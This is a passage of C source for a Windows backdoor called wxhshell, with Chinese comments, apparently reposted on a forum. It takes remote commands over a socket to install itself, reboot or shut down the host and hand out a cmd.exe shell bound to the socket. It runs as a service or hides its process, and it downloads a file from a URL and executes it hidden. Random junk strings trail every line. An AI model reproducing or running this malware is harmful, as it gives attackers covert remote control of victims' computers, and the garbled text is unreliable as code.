  else { YIA}F1:  
wC@5[e$  
    switch(cmd[0]) { 2Mx9Kd'a r  
  +r)'?zU  
  // 帮助 W(9fCDO;  
  case '?': { ToIvyeFr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .fxI)  
    break; CQfrAk4mu  
  } ?4=8z8((!  
  // 安装 6L~@jg~0A[  
  case 'i': { \RZFq<6>  
    if(Install()) \ief [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~J?/  
    else c8mcJAc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (x9d7$2  
    break; $NP5Z0v7  
    }  D/hQ{T  
  // 卸载 za7h.yK}  
  case 'r': { Xr~6_N{J  
    if(Uninstall()) h d1H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yvo~'k#c  
    else '01H8er  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oo7&.HWf  
    break; XJnDx 09h  
    } 2A@9jl s  
  // 显示 wxhshell 所在路径 o[*</A }  
  case 'p': { '2=u<a B  
    char svExeFile[MAX_PATH]; O4FW/)gq  
    strcpy(svExeFile,"\n\r"); ' >> IMF  
      strcat(svExeFile,ExeFile); %7BVJJp2  
        send(wsh,svExeFile,strlen(svExeFile),0); e!yUA!x`u  
    break; v=?U{{xQ  
    } MjC;)z  
  // 重启 #5O'XH5_  
  case 'b': { V%&t'H{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -CW&!oW  
    if(Boot(REBOOT)) ^z3-$98=A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /E(H`;DG  
    else { 2XrPgq'  
    closesocket(wsh); "Iu[)O%  
    ExitThread(0); $DC*&hqpt  
    } &9\z!r6mc  
    break; "/hM&  
    } x Yr-,$/  
  // 关机 E!'H,#"P  
  case 'd': { J) v~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _#9:cH*  
    if(Boot(SHUTDOWN)) 0~RsdQGqC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7J0&  
    else { KC o<%  
    closesocket(wsh); Y-&r_s_~  
    ExitThread(0); { 'Hi_b3  
    } Fa^5.p  
    break; i](,s.  
    } cs`/^2Vf"#  
  // 获取shell Y."ujo#bB  
  case 's': { %a+X\\v2  
    CmdShell(wsh); G5Y5_r6Gu  
    closesocket(wsh); !c:Q+:,H  
    ExitThread(0); Ea1{9> S  
    break; "+s#!Fh *  
  } S{j|("W"[  
  // 退出 a&)0_i:r  
  case 'x': { Pgg6(O9}B^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c"t1E-Nsk  
    CloseIt(wsh); 4vTO  #F  
    break; k|-`d  
    } .Ozfj@ f  
  // 离开 ?HVsIAU  
  case 'q': { ]CH@ T9d5V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?GU/Rf!H#  
    closesocket(wsh); 4NbX! "0  
    WSACleanup(); S5d:?^PGg  
    exit(1); RH ow%2D  
    break; 3tI=? E#  
        } sj2v*tFb  
  } l.1)%q&@^  
  } B?-RzWB\3  
dv-yZRU:  
  // 提示信息 uOc>~ITPS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aGNVqS%y  
} ( gO?-0  
  } tC\x9&:  
zB\g'F/  
  return; SqFya  
} wKum{X8  
0t5>'GYX  
// shell模块句柄 I*@\pc}  
int CmdShell(SOCKET sock) ^G= wRtS  
{ &/=>:ay+#  
STARTUPINFO si; 7Upm  
ZeroMemory(&si,sizeof(si)); >5wA B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jpyV52  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }p}i _'%  
PROCESS_INFORMATION ProcessInfo; KSVIX!EsX  
char cmdline[]="cmd"; |8&AsQd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5. :To2  
  return 0; 3/:O8H  
} fOJk+? c  
Rp A76ug  
// 自身启动模式 Nv*x^y]  
int StartFromService(void) [{N i94:d  
{ qLKyr@\'  
typedef struct 7GfgW02  
{  wxsJB2  
  DWORD ExitStatus; twt Bt L  
  DWORD PebBaseAddress; ]l+Bg;F#V  
  DWORD AffinityMask; \l{*1lQ`  
  DWORD BasePriority; mW1Sd#0  
  ULONG UniqueProcessId; p\:_E+lsU  
  ULONG InheritedFromUniqueProcessId; "*laY<E  
}   PROCESS_BASIC_INFORMATION; y 4,2Xs9,  
*)ed(+b  
PROCNTQSIP NtQueryInformationProcess; J:f>/  
l}335;(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <,Sy:>:"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0ang~_  
/OgXNIl]  
  HANDLE             hProcess; r4JXbh6Tt  
  PROCESS_BASIC_INFORMATION pbi; 3k;U#H  
 vi4 1`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )&+_T+\  
  if(NULL == hInst ) return 0; BArsj  
h@Ea$1'e,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dVVeH\o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b-]E -$Uz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oHI~-{m3)  
ro@Zbm;P  
  if (!NtQueryInformationProcess) return 0; #i ?@S$  
N$pwTyk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H24g+<Tv  
  if(!hProcess) return 0; POH >!lHu  
7zr\AgV9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U`FybP2R~  
W euV+}\b  
  CloseHandle(hProcess); `m3@mJ!>\  
-_uL;9r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2-llT  
if(hProcess==NULL) return 0; Ms1G&NYP  
ifTVTd7O  
HMODULE hMod; |rdG+ >  
char procName[255]; &-<"HW  
unsigned long cbNeeded; wuzz Wq  
}K~JM1(26  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aZ@4Z=LK  
s%GiM  
  CloseHandle(hProcess); 68FxM#xR  
6xdu}l=%  
if(strstr(procName,"services")) return 1; // 以服务启动 F Paj p  
-J[zJ4z #  
  return 0; // 注册表启动 oge^2  
} vlyq2>TfR  
(n"  )  
// 主模块 P7egT,Z  
int StartWxhshell(LPSTR lpCmdLine) n,PHfydqX  
{ :m#vvH  
  SOCKET wsl; MFW?m,It)  
BOOL val=TRUE; E>4#j PK  
  int port=0; ,z1# |Y  
  struct sockaddr_in door; n/$BdFH  
YL){o$-N"J  
  if(wscfg.ws_autoins) Install(); G8u8&|  
^l$(-#'y  
port=atoi(lpCmdLine); 3 %DA{  
[ R~+p#l+Q  
if(port<=0) port=wscfg.ws_port; h4?+/jk7  
,;/4E  
  WSADATA data; EyBdL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 15yIPv+5  
u:HKmP;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Xid>8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ub3,x~V  
  door.sin_family = AF_INET; W**=X\"'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vaha--QB  
  door.sin_port = htons(port); <ya'L&  
/@3+zpaw X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v[Q)cqj/  
closesocket(wsl); (R6ZoBZ  
return 1; S<Q1 &],  
} <(f4#B P  
K"}Dbr  
  if(listen(wsl,2) == INVALID_SOCKET) {  \W=  
closesocket(wsl); GK&yP%Z3  
return 1; cYbO)?mC_  
} +D h=D*  
  Wxhshell(wsl); < ht >>  
  WSACleanup(); Phb<##OB  
uFok'3!g7%  
return 0; @J r  
<U~P-c tN  
} (S2<6Nm8  
$hKgTf?  
// 以NT服务方式启动 \&TTe8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E32z(:7M  
{ ise@,[!  
DWORD   status = 0; SbGp  
  DWORD   specificError = 0xfffffff; V >['~|  
F)gL=6h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qb(CH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Rw/G =zV@2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y\op9 Fw  
  serviceStatus.dwWin32ExitCode     = 0; E_H1X'|qS4  
  serviceStatus.dwServiceSpecificExitCode = 0; qL'3MY.!  
  serviceStatus.dwCheckPoint       = 0; W2<X 5'  
  serviceStatus.dwWaitHint       = 0; I?fE=2}9  
c<H4rB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3zl!x  
  if (hServiceStatusHandle==0) return; _p_F v>>:  
3/[=  
status = GetLastError(); #e|eWi>  
  if (status!=NO_ERROR) iEU(1?m2-  
{ Etl7V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?BLOc;I&a  
    serviceStatus.dwCheckPoint       = 0; 26Yg?:kP  
    serviceStatus.dwWaitHint       = 0; >)N#n`  
    serviceStatus.dwWin32ExitCode     = status; }2\"(_  
    serviceStatus.dwServiceSpecificExitCode = specificError; >|iy= Zn%'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JHQ8o5bEQp  
    return; @?1%*/  
  } mD=?C  
:w];N|48s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t%TZu>(1O  
  serviceStatus.dwCheckPoint       = 0; Wt`D  
  serviceStatus.dwWaitHint       = 0; 3% P?1s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "(xS  
} .H>Rqikj  
djSN{>S  
// 处理NT服务事件,比如:启动、停止 Olno9_'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "~[Rwh?  
{ Gt1Up~\s  
switch(fdwControl) t]` 2f3UO  
{ q@\_q!  
case SERVICE_CONTROL_STOP: .Yf h*  
  serviceStatus.dwWin32ExitCode = 0; .U1dcL6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y{O&- 5H^|  
  serviceStatus.dwCheckPoint   = 0; ex| kD*=  
  serviceStatus.dwWaitHint     = 0; b9Y pUm7#  
  { +p[~hM6?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gO/(/e>P  
  } x$Dv&4  
  return; */\.-L{h  
case SERVICE_CONTROL_PAUSE: 869`jA &7"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c !;wp,c  
  break; t/$xzsoJZr  
case SERVICE_CONTROL_CONTINUE: 3Yf$WE8#l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gON6jnDO  
  break; {c1qC zM4  
case SERVICE_CONTROL_INTERROGATE: O-B3@qQ. h  
  break; Q?tV:jogY  
}; {Q-U=me\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %*gO<U4L]  
} eeDhTw9  
68!]q(!6F  
// 标准应用程序主函数 SH(kUL5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |u+&xX7  
{ RasoOj$  
U;nC)'~YW9  
// 获取操作系统版本 UQ8x #(`ak  
OsIsNt=GetOsVer(); NV gLq@F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~mp$P+M(%p  
3(&.[o Z  
  // 从命令行安装 iWCV(!  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z-<u?f8{*  
joA+  
  // 下载执行文件 }ot _k-  
if(wscfg.ws_downexe) { YNXk32@j@e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Om^/tp\  
  WinExec(wscfg.ws_filenam,SW_HIDE); O7\s1 V;  
} (LfVa`<1  
7X|r';"?i  
if(!OsIsNt) { WAa?$"U2  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y; w]u_  
HideProc(); } -vBRY  
StartWxhshell(lpCmdLine); y(dS1.5F  
} r#Mx~Zg~  
else W<4\4  
  if(StartFromService()) 42u\Y_^ID  
  // 以服务方式启动 md`ToU  
  StartServiceCtrlDispatcher(DispatchTable); aYgJTep>r  
else 8F * WT|]  
  // 普通方式启动 HZm i ?  
  StartWxhshell(lpCmdLine); V4-=Ni]k  
]R@G5d  
return 0; 2tv40(M:<  
}
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只看该作者 1 发表于: 2006-10-10
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